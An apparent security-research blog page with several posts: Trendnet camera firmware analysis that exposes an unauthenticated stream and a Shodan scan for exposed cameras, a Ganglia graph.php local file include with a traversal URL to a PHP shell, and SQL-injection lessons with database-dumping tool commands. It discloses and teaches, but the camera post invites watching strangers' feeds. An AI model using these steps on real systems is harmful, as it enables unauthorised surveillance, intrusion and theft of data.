Tuesday, January 10, 2012

Trendnet Cameras - I always feel like somebody's watching me.

Firstly this post requires the following song to be playing.

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around. 

To start off the latest firmware for this device can be found at the following location :

First order of business was to update the camera with the most recent firmware:
Device info page confirming firmware version
Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/

Running binwalk against the firmware file 
binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck 
DECIMAL   HEX       DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320     0x7E40     gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136     0xA5CE0   gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s
Next cut out the first gzip file that was identified, we will call this file '2'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s
Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s
For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip
#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names
As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.
#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin  dev  etc  lib  linuxrc  mnt  proc  sbin  server  tmp  usr  var
There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"
#cd server/cgi-bin/anony/
#ls
jpgview.htm  mjpeg.cgi  mjpg.cgi  view2.cgi
The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera. 

video stream. giving no fucks.


Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)
Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches 
HTTP Auth with 'netcam' realm
Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch
9,500 results
If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'
creepy hole in the wall

front doors to some business
Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py

This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.
    def search(self, query,page=1):
        """Search the SHODAN database.
     
        Arguments:
        query    -- search query; identical syntax to the website
        page     -- page number of results      

        Returns:
        A dictionary with 3 main items: matches, countries and total.
        Visit the website for more detailed information.
     
        """
        return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

Monday, January 9, 2012

Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was “Ganglia Monitoring System” http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - “Ganglia Monitoring System” http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Friday, November 11, 2011

Web Hacking Video Series #4 MySQL Part 2 (Injection and Coding)

Video Lesson Topics:

  1. Setting up your victim application, databases and lab
  2. Attacking a simple injection with information Schema
  3. Automating your injections with python and beautiful soup
  4. Dealing with various web encoding in Python and PHP
  5. Bypassing LoadFile Size restrictions and automating it
  6. Decrypting sensitive data via PHP and Python interactions
  7. As always me rambling about stupid nonsense :P FTW

Part 2 of Mysql covers the topic of injecting a simple SQL injection example. Starts out slow then combines techniques and moves into more advanced topics. Prior to attempting this lesson make sure you have watched the videos in the previous blog or understand both SQL and basic python coding. I will show how to automate the injection process via python utilizing simple HTML processing abilities of beautiful soup.  I will cover many python libraries for encoding data and calling web based applications. I also talk about how to deal with encrypted data and methods of enumerating files and folders looking for possible implementation issues and attack points to decrypt sensitive data via PHP/Python interaction with whats available on the server. This is the 2nd part of a 3 part series on MySQL for attacking web applications.

Files Needed:
Lab Files
BT5

Video Lesson:

Whats Next:
PHP source code analysis
Recoding PHP applications to fix SQLi

Friday, November 4, 2011

Web Hacking Video Series #3 MySQL Part 1 (SQL Primer)

Video Lesson Topics:
  1. Creating a SQL-cmdShell in python
  2. Setting up a SQL lab/learning environment
  3. Learning basic SQL queries
  4. More advanced queries for pulling meaningful data
  5. Interacting with the operating system
  6. Basic filter bypass and built in encoding mechanisms
  7. MySQL specific functions and structure
This part of the series is a manual sql/python tutorial which will instruct the viewer on how to create their own database interaction with python, the audience being both hackers and new developers.  After connecting to the database learn how to use that interaction for pulling meaningful data from a SQL database and interacting with the underlying operating systems and DB functionality. I will cover basic to more advanced sql queries and interactions. None of the videos contain any injection whatsoever,  instead a DB and SQL primer for the purpose of learning a foundation prior to trying to attack the unknown.  I do delve into many topics related to injection and relate many topics to injection but everything is done on the command line in an interactive lab environment you create for yourself!!  The next blog in the series will cover Injection followed by code analysis and recoding applications with parametrized queries. There will also be MSSQL based stuff in the same sequence of events in future posts.

Needed To follow Along:
  • BT5 VM
  • Test Database http://launchpad.net/test-db/employees-db-1/1.0.6/+download/employees_db-full-1.0.6.tar.bz2
  • The Pillager: http://consolecowboys.org/pillager/pillage_0.6.zip 
Whats next:
MySql Injection
MSSQL specific learning and Labs
Source Code analysis
Recoding your applications in PHP and ASP


Part 1.1 Coding your Python SQL cmdShell:


Part 1.2 Learning SQL:

Saturday, September 3, 2011

DataBase Pillager 0.5 Release (Video) Targeted data searches

Updated Link + Features 9/27/2011 after this initial post (New Query-Cmd Line "-q" to drop you into a sql shell and data formatting on display)  
Example: python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor -q
Release 0.6: LINK:Download Pillager 0.6

Been busy as hell lately but I am working on a lot of stuff regarding SQL and Web Hacking stuff I will release soon, but right now I am releasing the newest version of the database pillager. There are numerous new features, optimizations and future development started and some really cool stuff. Currently the newest features include:

New Features:
Database/Table Name targeted searches (done)
Targeted Data searches within columns (done)
Reporting Options (Partially done)
GUI (In development)
Universal SQL CMD shell (Done mysql,mssql)
Also fixing a few more bugs related to mssql and unicode

Video Contents:
The below video will show how to make the most of the tool and show the newest targeted data searches as well as some program structure so you can make some simple modifications.


Untitled from ficti0n on Vimeo.



Commands used:

Simple Pillage:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor

Grab Hashes:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor --hashes

Database/Table Search based on a list:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor -n

Targeted Data Search bases on keyword list:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor  -D

Hipaa Search Specifically:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor -s hipaa

Limiting data:
python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor  -s hipaa -l 1

Location of Lists:
inputFiles directory

Thursday, June 9, 2011

Burp Intruder Time fields

This is an update from the last video blog: 

I had a update submission from Toxic after watching Web Application video #2. Although module 4 was to learn how to code custom situations... Toxic noted that there are time fields within burp intruder by adding the columns:

-Response Received
-Response Completed

You can get a number related to the seconds it took for the request to complete... For example the php code originally was set for a 2 second sleep function and so Jsmith had the following output:

Response Received: 2107

Now I upped the sleep function to 4 seconds and Jsmith has a new value of:

Response Received: 4001

I then upped the sleep function to 8 seconds and Jsmith has the new value of:
Response Received: 8002

Indicating that field actually does keep track of the time between request and response... Just another option for anyone playing with time based stuff in burp.....

GOOD CATCH TOXIC!!!!!!

Wednesday, June 8, 2011

Web Hacking Video Series #2 Analysis of application behavior to bypass common implementation issues

.
Video Lesson Topics:  (Running time 50+ minutes)
This lesson covers the following topics:
  1. Analysis of application behavior to bypass common implementation issues
  2. Writing custom python code to deal with more complex testing situations
  3. More on burp suite intruder, comparer and scoping settings
  4. Introducing firebug for inspecting page elements
  5. Lots of me rambling about testing issues and real world considerations/client issues


New Hacking Lab:  (USE FIREFOX)
 This is my second video on application security which includes a lab of 6 different user enumeration situations. Not really to show user enumeration, but to show the various ways developers handle situations and how we can determine ways to bypass issues. Everyone can follow along and play on the website as I ramble..  I got bored Friday night and started coding, and ended up with the beginning of a mini web hacking lab that I may continue to grow out regarding certain lessons or  I may allow downloading of the whole site when dealing with more dangerous topics I dont want to deploy online.  Also note that I dont care about complying with microsoft internet explorers finicky page parsing issues so use firefox if you dont want viewing issues.  ;)

Bypassing Alarm Systems - Alarm System Labs CTF Walkthrough

 Walking through bypassing physical alarm systems and re-wiring them via free online labs you can follow along and get practice with.    Enj...